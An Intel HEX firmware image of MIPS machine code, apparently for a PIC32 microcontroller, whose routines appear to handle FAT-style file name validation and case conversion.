:10fcb0001400c2a71400c2971000c38f2110620065
:10fcc000000042900000c2a31400c2970100422429
:10fcd0001000c38f21106200000042900100c2a3f7
:10fce0000100c2930200c2a70200c29700120200e4
:10fcf0000200c2a70000c293ffff43300200c29778
:10fd0000251062000200c2a70200c29721e8c003ca
:10fd10000c00be8f1000bd270800e00300000000ab
:10fd2000e0ffbd271c00bfaf1800beaf21f0a0034d
:10fd30002000c4af2110a0002400c2a72400c29755
:10fd40002000c48f21284000273f400f0000000002
:10fd50001000c2a72400c29702004224ffff4230d5
:10fd60002000c48f21284000273f400f00000000e2
:10fd70001200c2a71200c2971400c2af1400c28fb3
:10fd8000001402001400c2af1000c2971400c38f09
:10fd9000251062001400c2af1400c28f21e8c00316
:10fda0001c00bf8f1800be8f2000bd270800e00395
:10fdb00000000000f0ffbd270c00beaf21f0a00343
:10fdc0001000c4af1400c5af1000c28f24004290d1
:10fdd00021184000030002241000621400000000fb
:10fde0001400c28ffeff43241000c28f23004290f4
:10fdf000180062001000c28f1300438821206000a9
:10fe00001000449821108000121800002110620098
:10fe10000000c2afa43f400b000000001400c28fde
:10fe200005004010000000001400c38f01000224f0
:10fe300009006214000000001000c28f0f00438808
:10fe40000c0043981400c28f211062000000c2af62
:10fe5000a33f400b000000001400c28ffeff4324ac
:10fe60001000c28f23004290180062001000c28f61
:10fe70001300438821206000100044982110800066
:10fe800012180000211062000000c2af0000000044
:10fe90000000c28f21e8c0030c00be8f1000bd27f8
:10fea0000800e00300000000e0ffbd271c00bfaf1a
:10feb0001800beaf21f0a0032000c4af2110a000a5
:10fec0002400c2a3388180a32400c393d8ff022456
:10fed0002410620006004010000000001f000224f1
:10fee000388182a3ffff0224f93f400b000000008d
:10fef0002000c28f360042941400c2a72000c28f97
:10ff00003c00438c2000c28f400043ac1400c22749
:10ff10002000c48f212840009139400f00000000cc
:10ff20001000c2af1000c28f060040140000000095
:10ff30001b000224388182a3ffff0224f93f400bfb
:10ff4000000000001000c28f0b00429008004230f9
:10ff500006004010000000001f000224388182a328
:10ff6000ffff0224f93f400b000000002000c28f79
:10ff70003a00429410004230090040100000000096
:10ff80002400c29310004234ff0042302118400088
:10ff90002000c28f3a0043a4ec3f400b0000000059
:10ffa0002400c293ffff43302000c28f3a0043a4d5
:10ffb0001400c2272000c48f21284000182f400fb2
:10ffc00000000000060040140000000009000224a8
:10ffd000388182a3ffff0224f93f400b000000009c
:10ffe0002110000021e8c0031c00bf8f1800be8f45
:10fff0002000bd270800e00300000000c0ffbd276f
:020000041d01dc
:100000003c00bfaf3800beaf21f0a0034000c4af3a
:100010004400c5af4800c6af4c00c7af4400c38f13
:100020004800c28f18006200121000001000c2af1a
:100030004000c28f1400c2af1800c0af2800c0a794
:100040004c00c28f1800428c01004230080040145e
:10005000000000001d000224388182a30900022450
:100060001800c2af211000002c41400b000000001e
:100070001000c28f04004014000000002110000096
:100080002c41400b00000000f4d8400f000000009d
:10009000080040100000000018000224388182a3ec
:1000a000180002241800c2af211000002c41400ba0
:1000b00000000000468080a34c00c28f0000428cec
:1000c0002c00c2af4c00c28f0e0042941c00c2a78d
:1000d0004c00c28f1000428c2000c2af4c00c28f77
:1000e0000800428c2c00c48f212840006d3f400f37
:1000f000000000003000c2af4c00c28f0c004294e0
:100100003000c38f211062003000c2af4080838f67
:100110004c00c28f0f0062100000000044808293e8
:100120000a004010000000003241400f00000000b3
:10013000060040100000000009000224388182a35c
:10014000211000002c41400b000000004c00c28f29
:10015000408082af0880838f3000c28f1f00621002
:1001600000000000448082930a004010000000005c
:100170003241400f00000000060040100000000067
:1001800009000224388182a3211000002c41400b79
:1001900000000000468080a32c00c28f030043882b
:1001a0002120600000004498211080003000c48f9e
:1001b0002128400001d6400f000000000500401437
:1001c000000000001b000224388182a308000224e2
:1001d0001800c2af3000c28f088082af4c00c28fbf
:1001e0001400428c2400c2af1741400b00000000f5
:1001f0002000c38f2400c28f06006214000000009c
:100200004c00c38f18006290010004248410827c8b
:10021000180062a01c00c3972c00c28f1d004488e8
:10022000212880001a0045982110a0006700621460
:1002300000000000010002242a00c2a3448082932f
:100240000a004010000000003241400f0000000092
:10025000060040100000000009000224388182a33b
:10026000211000002c41400b000000001c00c0a722
:100270004c00c28f0c00429401004224ffff433027
:100280004c00c28f0c0043a44c00c28f0c0043945e
:100290002c00c28f23004290150062140000000061
:1002a0004c00c28f0c0040a44c00c28f1800428c3e
:1002b0000400423009004010000000004c00c48fd0
:1002c000212800002f37400f000000001800c2afa7
:1002d0002a00c0a3bc40400b000000004c00c48fab
:1002e000010005244723400f000000001800c2afa2
:1002f0001800c38f150002240600621400000000dd
:1003000015000224388182a3211000002c41400beb
:10031000000000001800c28f2c00401400000000f4
:100320004c00c28f0800428c2c00c48f2128400052
:100330006d3f400f000000003000c2af4c00c28f84
:100340000c0042943000c38f211062003000c2af15
:100350004c00c28f408082af2a00c2931900401027
:10036000000000002c00c28f0300438821206000a1
:1003700000004498211080003000c48f21284000e4
:1003800001d6400f000000000a00401400000000e9
:100390001b000224388182a3080002241800c2af87
:1003a000ffff0224088082af211000002c41400b87
:1003b000000000003000c28f088082aff340400b85
:1003c000000000003000c28f088082af1800c28f8a
:1003d00022004014000000002c00c28f030043885c
:1003e000000043981c00c297010044241c00c4a7cd
:1003f000211062001400c38f00006380ff0063308f
:10040000000043a01400c28f010042241400c2afb8
:100410002000c28f010042242000c2af1000c28f12
:10042000ffff42241000c2af2800c29701004224ff
:100430002800c2a74c00c28f1800428c0400423032
:1004400004004010000000002400c28f010042247c
:100450002400c2af01000224448082a31800c28f8e
:1004600004004014000000001000c28f60ff401420
:10047000000000004c00c28f1c00c3970e0043a474
:100480004c00c28f2000c38f100043ac4c00c28fc1
:100490002400c38f140043ac2800c3974400c28fcc
:1004a0001b006200f4014000101000001210000058
:1004b00021e8c0033c00bf8f3800be8f4000bd273d
:1004c0000800e00300000000d8ffbd272400bfaff4
:1004d0002000beaf21f0a0034080828f1000c2af89
:1004e0001000c28f0000428c1400c2af1000c28ff7
:1004f0000800428c1400c48f212840006d3f400f3b
:10050000000000001800c2af1000c28f0c0042941f
:100510001800c38f211062001800c2af1400c28ff0
:1005200003004388212060000000449821108000cf
:100530001800c48f2128400021300000b6d8400f99
:100540000000000004004014000000000900022424
:100550005841400b00000000448080a3211000009f
:1005600021e8c0032400bf8f2000be8f2800bd27d4
:100570000800e00300000000f8ffbd270400beaf44
:1005800021f0a0030800c4af388180a30800c28f07
:100590001000438c0800c28f1400428c26106200a9
:1005a0000100422cff00423021e8c0030400be8f4e
:1005b0000800bd270800e00300000000c8ffbd27b9
:1005c0003400bfaf3000beaf21f0a0033800c4af8d
:1005d0003c00c5af4000c6af4400c7af3c00c38f6e
:1005e0004000c28f18006200121000001000c2af5d
:1005f0003800c28f1400c2af2000c0af1e00c0a7d9
:10060000388180a34400c28f0000428c2400c2af16
:100610004400c28f0e0042941c00c2a74400c28f47
:100620001000428c1800c2af4400c28f1800428ce8
:100630000200423006004014000000001e000224a8
:10064000388182a3211000004842400b00000000c6
:10065000448082930a004010000000003241400fa5
:100660000000000006004010000000000900022405
:10067000388182a3211000004842400b0000000096
:100680004080838f4400c28f2e0062100000000063
:100690001c00c3972400c28f1d00448821288000bd
:1006a0001a0045982110a0002600621000000000ea
:1006b0004400c28f408082af4400c28f0800428c49
:1006c0002400c48f212840006d3f400f000000002f
:1006d0002800c2af4400c28f0c0042942800c38f90
:1006e000211062002800c2af468080a32400c28f80
:1006f00003004388212060000000449821108000fe
:100700002800c48f2128400001d6400f00000000bf
:10071000080040140000000008000224388182a371
:10072000080002242000c2af211000004842400b04
:10073000000000002800c28f088082af3942400bc1
:10074000000000003942400b000000004400c28f4e
:100750001400438c1800c28f0700621400000000d0
:100760003d000224388182a33d0002242000c2af54
:100770003c42400b000000001c00c3972400c28fc5
:100780001d004488212880001a0045982110a000ef
:100790003e006214000000001c00c0a74400c28f8d
:1007a0000c00429401004224ffff43304400c28ffa
:1007b0000c0043a44400c28f0c0043942400c28f59
:1007c000230042900f006214000000004400c28f1a
:1007d0000c0040a44400c48f010005244723400faf
:1007e000000000002000c2af2000c28f05004010b2
:1007f000000000000f000224388182a33c42400b1d
:10080000000000004400c28f0800428c2400c48f06
:10081000212840006d3f400f000000002800c2afbb
:100820004400c28f0c0042942800c38f2110620044
:100830002800c2af4400c28f408082af468080a3b0
:100840002400c28f030043882120600000004498e8
:10085000211080002800c48f2128400001d6400fbd
:1008600000000000070040140000000008000224ff
:10087000388182a3080002242000c2af3c42400b12
:10088000000000002800c28f088082af2400c28fc1
:1008900003004388000043981c00c29701004424d1
:1008a0001c00c4a721106200000043901400c28ff6
:1008b000000043a01400c28f010042241400c2af04
:1008c0001800c28f010042241800c2af1e00c29758
:1008d000010042241e00c2a71000c28fffff422465
:1008e0001000c2af1000c28f98ff4014000000003b
:1008f0004400c28f1c00c3970e0043a44400c28f63
:100900001800c38f100043ac1e00c3973c00c28f79
:100910001b006200f40140001010000012100000e3
:1009200021e8c0033400bf8f3000be8f3800bd27e0
:100930000800e00300000000c0fdbd273c02bfaf7f
:100940003802beaf21f0a0034002c4af4402c5afdd
:100950002110c0004802c2a32800c0af2c00c0afc5
:10096000010002243000c2af000102241800c2af0f
:100970004880828f3d004010000000004002c28f7e
:10098000208182af148180a76842400b00000000e4
:100990001481829701004224ffff4230148182a714
:1009a0002081838f14818297401002002110620001
:1009b00000004294f6ff401400000000148182976a
:1009c000211840001800c28f2a1043000a0040146a
:1009d000000000002081828f000043942e0002243a
:1009e00005006210000000002081828f0000429408
:1009f0000400401400000000211000007044400b6f
:100a0000000000001800c0af9142400b0000000041
:100a10002081838f1800c28f4010020021106200d5
:100a2000000043941800c28f401002001000c42739
:100a300021108200280043a41800c28f0100422424
:100a40001800c2af14818297211840001800c28f8d
:100a50002a104300eeff4014000000003800c227b7
:100a6000208182afc842400b000000004002c48fca
:100a7000a34a410f00000000ffff4230148182a70b
:100a800014818297211840001800c28f2a10430059
:100a90000a004014000000004002c28f00004380a2
:100aa0002e00022405006210000000004002c28fe8
:100ab00000004280040040140000000021100000eb
:100ac0007044400b000000003800c227188182af3c
:100ad0001800c0afc242400b000000001881838f95
:100ae0001800c28f211062001800c38f4002c48f0b
:100af0002118830000006380000043a01800c28f0b
:100b0000010042241800c2af1481829721184000ce
:100b10001800c28f2a104300f0ff401400000000ac
:100b20004802c29321204000f846400f0000000018
:100b30001000c2af1000c38f07000224040062142b
:100b400000000000211000007044400b0000000075
:100b5000148182971400c2af4402c28f01000324a3
:100b60002c0043ac4402c28f340040a41000c38f59
:100b700001000224030062140000000001000224ae
:100b80002800c2af1000c38f02000224410062148b
:100b9000000000002000c0aff942400b0000000040
:100ba0002081838f2000c28f40100200211062003c
:100bb000000042940001422c070040140000000095
:100bc000050002241000c2af010002242800c2afb9
:100bd000fe42400b000000002000c28f01004224b2
:100be0002000c2af2000c38f1400c28f2a10620001
:100bf000ebff4014000000002000c38f1400c28fe0
:100c00002400621400000000030002241000c2afa0
:100c10002000c0af2043400b000000002081838fe4
:100c20002000c28f40100200211062000000429498
:100c30006100422c0f004014000000002081838fcf
:100c40002000c28f40100200211062000000429478
:100c50007b00422c0700401000000000040002242a
:100c60001000c2af010002242800c2af2543400b90
:100c7000000000002000c28f010042242000c2af0b
:100c80002000c38f1400c28f2a106200e3ff4014bb
:100c9000000000001000c38f06000224f400621060
:100ca000000000002800c28ff10040140000000086
:100cb0002000c0af7343400b000000004880828fcb
:100cc00021004010000000002081838f2000c28f8f
:100cd0004010020021106200000043942e00022404
:100ce00007006214000000001400c38f2000c28fb0
:100cf000231062000500422805004010000000009b
:100d00002000c28f090042280500401400000000a6
:100d1000010002242800c2af7843400b000000000d
:100d20002081838f2000c28f4010020021106200ba
:100d3000000043942e0002242100621400000000f1
:100d40007843400b000000001881838f2000c28f81
:100d500021106200000043802e000224070062146c
:100d6000000000001400c38f2000c28f2310620017
:100d70000500422805004010000000002000c28f3e
:100d80000900422805004014000000000100022470
:100d90002800c2af7843400b000000001881838f09
:100da0002000c28f21106200000043802e00022428
:100db00003006214000000007843400b00000000b4
:100dc0002000c28f010042242000c2af2000c38f48
:100dd0001400c28f2a106200b8ff40140000000007
:100de0002800c28fa2004014000000004402c28ffd
:100df000200042243400c2af1800c0af8943400b2a
:100e0000000000001800c28f3400c38f2110620060
:100e100020000324000043a01800c28f01004224d8
:100e20001800c2af1800c28f0b004228f5ff401413
:100e3000000000004880828f0b004010000000007e
:100e40002000c28f401002002400c2af1400c28fe5
:100e5000401002001400c2af2081828f2c00c2af6c
:100e60009e43400b000000002000c28f2400c2af50
:100e70001881828f2c00c2af1800c0af1c00c0af19
:100e8000d043400b000000001800c28f2c00c38f1d
:100e90002110620000004280260040100000000087
:100ea0001c00c28f3400c38f211062001800c38f52
:100eb0002c00c48f2118830000006380000043a031
:100ec0001c00c28f3400c38f2110620000004280da
:100ed0006100422814004014000000001c00c28f72
:100ee0003400c38f21106200000042807b00422842
:100ef0000d004010000000001c00c28f3400c38fa2
:100f0000211062001c00c38f3400c48f211883009d
:100f100000006380ff006330e0ff6324ff00633064
:100f2000201c037c000043a01c00c28f010042244f
:100f30001c00c2af1800c28f010042241800c2afcb
:100f40001c00c28f0800422806004010000000006c
:100f50001800c38f2400c28f2a106200caff4014f9
:100f6000000000002400c38f1400c28f2a1062000a
:100f70003f004010000000002400c28f0100422406
:100f80002400c2af080002242000c2af1344400b6b
:100f9000000000002400c28f2c00c38f21106200cb
:100fa0000000428026004010000000002000c28f98
:100fb0003400c38f211062002400c38f2c00c48f23
:100fc0002118830000006380000043a02000c28f2e
:100fd0003400c38f2110620000004280610042286b
:100fe00014004014000000002000c28f3400c38fa2
:100ff00021106200000042807b0042280d0040105a
:10100000000000002000c28f3400c38f2110620056
:101010002000c38f3400c48f211883000000638038
:10102000ff006330e0ff6324ff006330201c037c7b
:10103000000043a02000c28f010042242000c2af64
:101040002400c28f010042242400c2af2000c28fbe
:101050000b00422806004010000000002400c38f4f
:101060001400c28f2a106200caff40140000000062
:101070001000c38f0600022405006210000000006b
:101080002800c38f010002244c00621400000000fd
:101090004402c28f3000428c3400c2af4880828f3d
:1010a00003004014000000001881828f2c00c2afa2
:1010b0001c00c0af1800c0af6144400b000000002e
:1010c0004880828f1c004010000000004402c28f44
:1010d0003000438c1800c28f4010020021106200c3
:1010e0002081848f1800c38f4018030021188300cb
:1010f00000006394000043a43000c28f1e00401023
:10110000000000002081838f1800c28f4010020071
:1011100021106200000042940001422c160040148d
:10112000000000004402c28f2c0040ac3000c0af71
:101130005e44400b000000001c00c28f01004324ed
:101140001c00c3af3400c38f211062001800c38f8e
:101150002c00c48f2118830000006380000043a08e
:101160001c00c28f010043241c00c3af3400c38f96
:1011700021106200000040a01800c28f010042242c
:101180001800c2af1800c38f1400c28f2a1062006b
:10119000cbff4014000000004402c28f3000438c9b
:1011a0001800c28f4010020021106200000040a40d
:1011b000148183974402c28f340043a401000224a7
:1011c00021e8c0033c02bf8f3802be8f4002bd271a
:1011d0000800e0030000000090ffbd276c00bfafd7
:1011e0006800beaf6400b7af6000b6af5c00b5afdb
:1011f0005800b4af5400b3af5000b2af4c00b1af21
:101200004800b0af21f0a0037000c4af7400c5afb8
:101210002110c0007800c2a31c00c0af010002244e
:101220002800c2af000102241400c2af4880828fa0
:1012300013004010000000007000c28f208182afb8
:10124000148180a79744400b00000000148182970e
:1012500001004224ffff4230148182a72081838f46
:101260001481829740100200211062000000429415
:10127000f6ff401400000000a744400b00000000ef
:101280007000c28f188182af7000c48fa34a410fd3
:1012900000000000ffff4230148182a71481829772
:1012a000211840001400c28f2a104300040040108f
:1012b0000000000021100000ea46400b0000000082
:1012c0007800c29321204000f846400f0000000043
:1012d0001000c2af1000c38f070002240400621484
:1012e0000000000021100000ea46400b0000000052
:1012f000148182972c00c2af7400c28f01000324b6
:101300002c0043ac7400c28f340040a41000c38f83
:101310000100022403006214000000000100022406
:101320001c00c2af1000c38f0200022441006214ef
:10133000000000002000c0afe144400b00000000ae
:101340002081838f2000c28f401002002110620094
:10135000000042940001422c0700401400000000ed
:10136000050002241000c2af010002241c00c2af1d
:10137000e644400b000000002000c28f0100422420
:101380002000c2af2000c38f2c00c28f2a10620041
:10139000ebff4014000000002000c38f2c00c28f20
:1013a0002400621400000000030002241000c2aff9
:1013b0002000c0af0845400b000000002081838f53
:1013c0002000c28f401002002110620000004294f1
:1013d0006100422c0f004014000000002081838f28
:1013e0002000c28f401002002110620000004294d1
:1013f0007b00422c07004010000000000400022483
:101400001000c2af010002241c00c2af0d45400b0a
:10141000000000002000c28f010042242000c2af63
:101420002000c38f2c00c28f2a106200e3ff4014fb
:10143000000000001000c38f0600022405006210a7
:10144000000000001c00c38f01000224b4006214dd
:10145000000000007400c28f7000c38f300043ace6
:101460004880828f4f004010000000002081838f51
:101470007000c28f2d006210000000001400c0af89
:101480003e45400b000000007400c28f3000438cca
:101490001400c28f40100200211062002081848f4e
:1014a0001400c38f401803002118830000006394c8
:1014b000000043a42800c28f0c0040100000000070
:1014c0002081838f1400c28f40100200211062001f
:1014d000000042940001422c04004014000000006f
:1014e0007400c28f2c0040ac2800c0af1400c28f23
:1014f000010042241400c2af1400c38f2c00c28f1d
:101500002a106200e0ff4014000000007400c28f47
:101510003000438c1400c28f401002002110620082
:10152000000040a4c345400b000000001400c0af01
:101530006245400b000000002800c28f0f004010e1
:10154000000000002081838f1400c28f4010020031
:1015500021106200000042940001422c0700401458
:10156000000000007400c28f2c0040ac2800c0af07
:1015700000000000c345400b000000001400c28fb3
:10158000010042241400c2af1400c38f2c00c28f8c
:101590002a106200e8ff401400000000c345400b21
:1015a000000000002110a003211840002c00c28f71
:1015b00001004224ffff44243400c4af2120400036
:1015c00021908000219800000227120000b913002a
:1015d00025b8970000b11200212040002180800032
:1015e000218800000227100000a9110025a89500fd
:1015f00000a1100040100200010042240700422414
:10160000c2100200c010020023e8a2031000a227ab
:101610000100422442100200401002003800c2af14
:101620003800c28f3000c2af1800c0af1400c0af86
:10163000a145400b000000001800c28f01004424a7
:101640001800c4af3000c48f211082001881858f2c
:101650001400c48f2120a40000008480000044a056
:101660001800c28f010044241800c4af3000c48f9a
:1016700021108200000040a01400c28f010042240b
:101680001400c2af1400c48f2c00c28f2a10820035
:10169000e9ff4014000000001400c0afb745400b44
:1016a000000000007400c28f3000448c1400c28f10
:1016b00040100200211082003800c58f1400c48f32
:1016c000402004002120a40000008494000044a4d1
:1016d0001400c28f010042241400c2af1400c48f52
:1016e0002c00c28f2a108200eeff40140000000080
:1016f0007400c28f3000448c1400c28f401002006e
:1017000021108200000040a421e86000148183972a
:101710007400c28f340043a4e946400b000000006f
:101720004880828f8d004010000000002081828f51
:101730003000c2af2400c0af2000c0af0746400b4e
:10174000000000002000c28f401002001400c2af51
:101750001400c28f3000c38f21106200000042804d
:1017600012004010000000001400c28f3000c38f30
:1017700021106200000043802400c28f1000c427a3
:10178000211082002c0043a02400c28f01004224bb
:101790002400c2af2400c38f080002240300621497
:1017a000000000001b46400b000000001400c28f28
:1017b000010042243000c38f2110620000004280eb
:1017c00013004010000000001400c28f01004224ea
:1017d0003000c38f21106200000043802400c28fbc
:1017e0001000c427211082002c0043a02400c28fc7
:1017f000010042242400c2af2400c38f0800022449
:1018000003006214000000001b46400b00000000b3
:101810002000c28f010042242000c2af2000c38fed
:101820002c00c28f2a10620010004010000000003f
:101830002081838f2000c28f40100200211062009f
:10184000000043942e0002240800621000000000f3
:101850002081838f2000c28f40100200211062007f
:1018600000004294b7ff4014000000002446400be3
:10187000000000002400c28f010043242400c3aff5
:101880001000c32721106200200003242c0043a075
:101890002400c28f08004228f6ff40140000000018
:1018a0002081838f2000c28f40100200211062002f
:1018b000000043942e000224240062140000000063
:1018c0002000c28f01004224401002001400c2af69
:1018d0004d46400b000000002000c28f3000c38f37
:1018e0002110620000004280120040100000000041
:1018f0002000c28f3000c38f21106200000043809f
:101900002400c28f1000c427211082002c0043a0a5
:101910002400c28f010042242400c2af2400c38fe0
:101920000b00022403006214000000005346400b29
:10193000000000001400c28f3000c38f211062002d
:1019400000004280e4ff4014000000002400c28f29
:101950001400c2afa746400b000000001400c0af47
:101960006546400b000000001881838f1400c28f71
:1019700021106200000043801400c28f1000c427b1
:10198000211082002c0043a01400c28f01004224c9
:101990001400c2af1400c28f080042280e0040108d
:1019a000000000001881838f1400c28f2110620094
:1019b000000043802e000224070062100000000097
:1019c0001881838f1400c28f2110620000004280b2
:1019d000e5ff4014000000001400c28f1800c2afe1
:1019e0008146400b000000001400c28f0100432418
:1019f0001400c3af1000c32721106200200003248d
:101a00002c0043a01400c28f08004228f6ff4014a7
:101a1000000000001881838f1800c28f211062001f
:101a2000000043802e0002241c006214000000000d
:101a30001800c28f010042241800c2af9d46400b1f
:101a4000000000001400c28f010043241400c3af43
:101a50001881848f1800c38f010065241800c5af5a
:101a600021188300000063801000c4272110820029
:101a70002c0043a01881838f1800c28f21106200b0
:101a80000000428005004010000000001400c28fda
:101a90000b004228ebff401400000000b046400b52
:101aa000000000001400c28f010043241400c3afe3
:101ab0001000c32721106200200003242c0043a043
:101ac0001400c28f0b004228f6ff401400000000f3
:101ad0003c00c383200002240300621400000000c5
:101ae0005f0002243c00c2a37400c28f2000422485
:101af0003000c2af1400c0afe546400b000000004c
:101b00001400c28f3000c38f211062001400c38ff5
:101b10001000c427211883002c006380000043a01c
:101b20001400c28f1000c327211062002c004280d5
:101b30006100422814004014000000001400c28f0d
:101b40001000c327211062002c0042807b00422835
:101b50000d004010000000001400c28f3000c38f41
:101b6000211062001400c38f3000c48f211883003d
:101b700000006380ff006330e0ff6324ff006330f8
:101b8000201c037c000043a01400c28f01004224eb
:101b90001400c2af1400c28f0b004228d8ff4014bb
:101ba000000000000100022421e8c0036c00bf8f88
:101bb0006800be8f6400b78f6000b68f5c00b58f81
:101bc0005800b48f5400b38f5000b28f4c00b18fc7
:101bd0004800b08f7000bd270800e003000000003f
:101be000e0ffbd271c00beaf21f0a0032110800044
:101bf0002000c2a30c00c0a30400c0a73247400bc2
:101c0000000000004880828f180040100000000093
:101c10002081838f0400c2974010020021106200cf
:101c20000000439420000224240062100000000001
:101c30002081838f0400c2974010020021106200af
:101c4000000043942e0002241c00621000000000db
:101c50002081838f0400c29740100200211062008f
:101c6000208182af3747400b000000001881838f2e
:101c70000400c2972110620000004380200002246b
:101c80000e006210000000001881838f0400c297cc
:101c900021106200000043802e0002240700621021
:101ca000000000001881838f0400c2972110620099
:101cb000188182af3747400b000000000400c29734
:101cc000010042240400c2a7148182970400c39734
:101cd0002b106200cbff4014000000000600c0a7dc
:101ce00014818297211840000400c29723106200db
:101cf000ffff42240800c2af6b47400b000000000a
:101d00004880828f13004010000000002081838fe4
:101d10000800c28f401002002110620000004394ae
:101d2000200002241b006210000000002081838f2d
:101d30000800c28f4010020021106200000043948e
:101d40002e00022413006210000000006e47400bba
:101d5000000000001881838f0800c28f21106200ec
:101d600000004380200002240a00621000000000ee
:101d70001881838f0800c28f211062000000438009
:101d80002e00022403006210000000006e47400b8a
:101d9000000000000600c297010042240600c2a70e
:101da0000800c28fffff42240800c2af0800c28fa4
:101db000d3ff401c00000000148183970400c297e9
:101dc00023106200ffff43300600c2972310620019
:101dd000ffff4230148182a7148182970101422cb7
:101de0000400401000000000148182970400401499
:101df00000000000070002249548400b000000008e
:101e00004880828f0e0040100000000014818297ed
:101e10004010020019004228050040140000000094
:101e2000060002240000c2af9947400b00000000ea
:101e3000020002240000c2af9947400b00000000de
:101e4000148182970d00422c050040140000000010
:101e5000060002240000c2af9947400b00000000ba
:101e60000000c0af0400c0a78f48400b0000000076
:101e70004880828f74004010000000002081838f12
:101e80000400c2974010020021106200000042943a
:101e90000e00c2a70e00c2972000422c0500401081
:101ea000000000000e00c397050002241d0062140c
:101eb000000000000e00c3972200022419006210e7
:101ec000000000000e00c3972f00022415006210ce
:101ed000000000000e00c3973a00022411006210b7
:101ee000000000000e00c3973c0002240d006210a9
:101ef000000000000e00c3973e000224090062109b
:101f0000000000000e00c3975c0002240500621070
:101f1000000000000e00c3977c000224040062143d
:101f200000000000070002249548400b000000005c
:101f30002000c2930c004014000000000e00c39764
:101f40002a00022405006210000000000e00c39762
:101f50003f00022404006214000000000700022475
:101f60009548400b000000000000c38f06000224cb
:101f7000af006210000000000e00c3972000022492
:101f800021006210000000000e00c3972b00022405
:101f90001d006210000000000e00c3972c000224f8
:101fa00019006210000000000e00c3973b000224dd
:101fb00015006210000000000e00c3973d000224cf
:101fc00011006210000000000e00c3975b000224a5
:101fd0000d006210000000000e00c3975d00022497
:101fe00009006210000000000e00c3972e000224ba
:101ff00009006214000000000c00c39301000224d9
:102000000500621400000000060002240000c2afb8
:102010008c48400b000000002081838f0400c29791
:102020004010020021106200000043942e000224a0
:102030007f00621400000000010002240c00c2a313
:102040008c48400b000000001881838f0400c29769
:1020500021106200000042801000c2a31000c29351
:102060002000422c05004010000000001000c39327
:10207000050002241d006214000000001000c3933c
:102080002200022419006210000000001000c39317
:102090002f00022415006210000000001000c393fe
:1020a0003a00022411006210000000001000c393e7
:1020b0003c0002240d006210000000001000c393d9
:1020c0003e00022409006210000000001000c393cb
:1020d0005c00022405006210000000001000c393a1
:1020e0007c000224040062140000000007000224a7
:1020f0009548400b000000002000c2930c004014e3
:10210000000000001000c3932a00022405006210a2
:10211000000000001000c3933f000224040062147a
:1021200000000000070002249548400b000000005a
:102130000000c38f060002243d0062100000000072
:102140001000c39320000224210062100000000050
:102150001000c3932b0002241d0062100000000039
:102160001000c3932c00022419006210000000002c
:102170001000c3933b000224150062100000000011
:102180001000c3933d000224110062100000000003
:102190001000c3935b0002240d00621000000000d9
:1021a0001000c3935d0002240900621000000000cb
:1021b0001000c3932e0002240900621400000000e6
:1021c0000c00c3930100022405006214000000000b
:1021d000060002240000c2af8c48400b0000000043
:1021e0001000c3932e0002240300621400000000bc
:1021f000010002240c00c2a30000c38f01000224ce
:102200000b006210000000001000c2936100422c1d
:1022100007004014000000001000c2937b00422c15
:102220000300401000000000010002240000c2afc3
:102230000400c297010042240400c2a714818297bf
:102240000400c3972b10620009ff40140000000037
:102250000000c28f21e8c0031c00be8f2000bd27f4
:102260000800e00300000000d0ffbd272c00bfaf36
:102270002800beaf21f0a0033000c4af3400c5afca
:102280003800c6af3400c28f1000c2af3000c28f1a
:102290000000428c1400c2af3800c28f010003243a
:1022a0000600431000000000020003240a0043104f
:1022b00000000000bc48400b000000003000c28f4e
:1022c0001000438c1000c28f211062001000c2afba
:1022d000bc48400b000000003000c28f1400438c4b
:1022e0001000c28f231062001000c2af0000000077
:1022f000448082930a004010000000003241400fe9
:102300000000000006004010000000000900022448
:10231000388182a3ffff02248949400b000000009e
:102320003000c28f0400428c1800c2af3000c28f50
:102330001800c38f080043ac3000c28f1400428cd9
:102340001800c2af1000c38f1800c28f2b104300bb
:1023500006004010000000001f000224388182a304
:10236000ffff02248949400b000000003000c38faa
:10237000180062908410027c180062a01000c38fc5
:102380003000c28f100043ac1000c38f1400c28f06
:102390001d004488212880001a0045982110a000c3
:1023a0001b006200f4014000101000001210000039
:1023b0001c00c2af1000c38f1400c28f1d004488e0
:1023c0001a0044981c00c28f1800820012200000de
:1023d000231064001000c2af1000c28fffff433013
:1023e0003000c28f0e0043a41400c28f230042901d
:1023f0001c00c38f1b006200f4014000101000009d
:10240000122800001800c5af1400c28f23004290ac
:10241000211840001800c28f180062001c00c28ff3
:1024200012180000231043001c00c2af1c00c28f12
:10243000ffff43303000c28f0c0043a41800c28f4e
:1024400054004010000000003000c48f1800c58ff9
:102450004723400f000000002000c2a32000c293c9
:102460004c004010000000002000c3933c000224f8
:1024700043006214000000003000c28f1800428c3c
:10248000010042301b004010000000003000c28fed
:102490000400438c3000c28f080043ac1800c38f87
:1024a0000100022408006210000000001800c28f22
:1024b000ffff42243000c48f212840004723400ff3
:1024c000000000002000c2a33000c48f21280000bb
:1024d0002f37400f000000002e00401000000000c9
:1024e0000f000224388182a3ffff02248949400b98
:1024f000000000003000c28f0400438c3000c28f07
:10250000080043ac1800c28fffff42243000c48f84
:10251000212840004723400f000000002000c2a3f4
:102520002000c29306004010000000000f000224ab
:10253000388182a3ffff02248949400b000000007c
:102540001400c28f1d004388212060001a004498a7
:1025500021108000ffff43303000c28f0e0043a4e3
:102560001400c28f23004290ffff4224ffff43303c
:102570003000c28f0c0043a46549400b00000000ee
:102580000f000224388182a3ffff02248949400bf7
:10259000000000003000c28f0800428c1400c48f7d
:1025a000212840006d3f400f000000001800c2af1e
:1025b0003000c28f0c0042941c00c2af1800c38fc1
:1025c0001c00c28f211062001800c2af408080af93
:1025d000468080a31400c28f030043882128600036
:1025e000000045982110a0001800c48f2128400049
:1025f00001d6400f0000000006004014000000005b
:102600001b000224388182a3ffff02248949400b6a
:10261000000000001800c28f088082af388180a3bc
:102620002110000021e8c0032c00bf8f2800be8fbe
:102630003000bd270800e00300000000c8ffbd27f0
:102640003400bfaf3000beaf21f0a0033800c4afec
:102650003c00c5af1800c0af468080a33800c28fd1
:1026600024004290010003241000431000000000e9
:10267000030003241f004314000000003c00c28f2d
:10268000801002001400c2af1000c0a3ff0f023c74
:10269000ffff42341c00c2afff0f023cf8ff423480
:1026a0002000c2afc649400b000000003c00c38fb1
:1026b0002110600040100200211043001400c2af3e
:1026c0001400c28fff004230010042301000c2a34c
:1026d0001400c28f421002001400c2afffff023488
:1026e0001c00c2aff80f02242000c2afc649400b45
:1026f000000000003c00c28f401002001400c2af76
:102700001000c0a3ffff02341c00c2aff8ff023468
:102710002000c2af000000003800c28f0b004388c9
:10272000080043983800c28f1d004488212880008b
:102730001a0045982110a0001400c48f1b008200cd
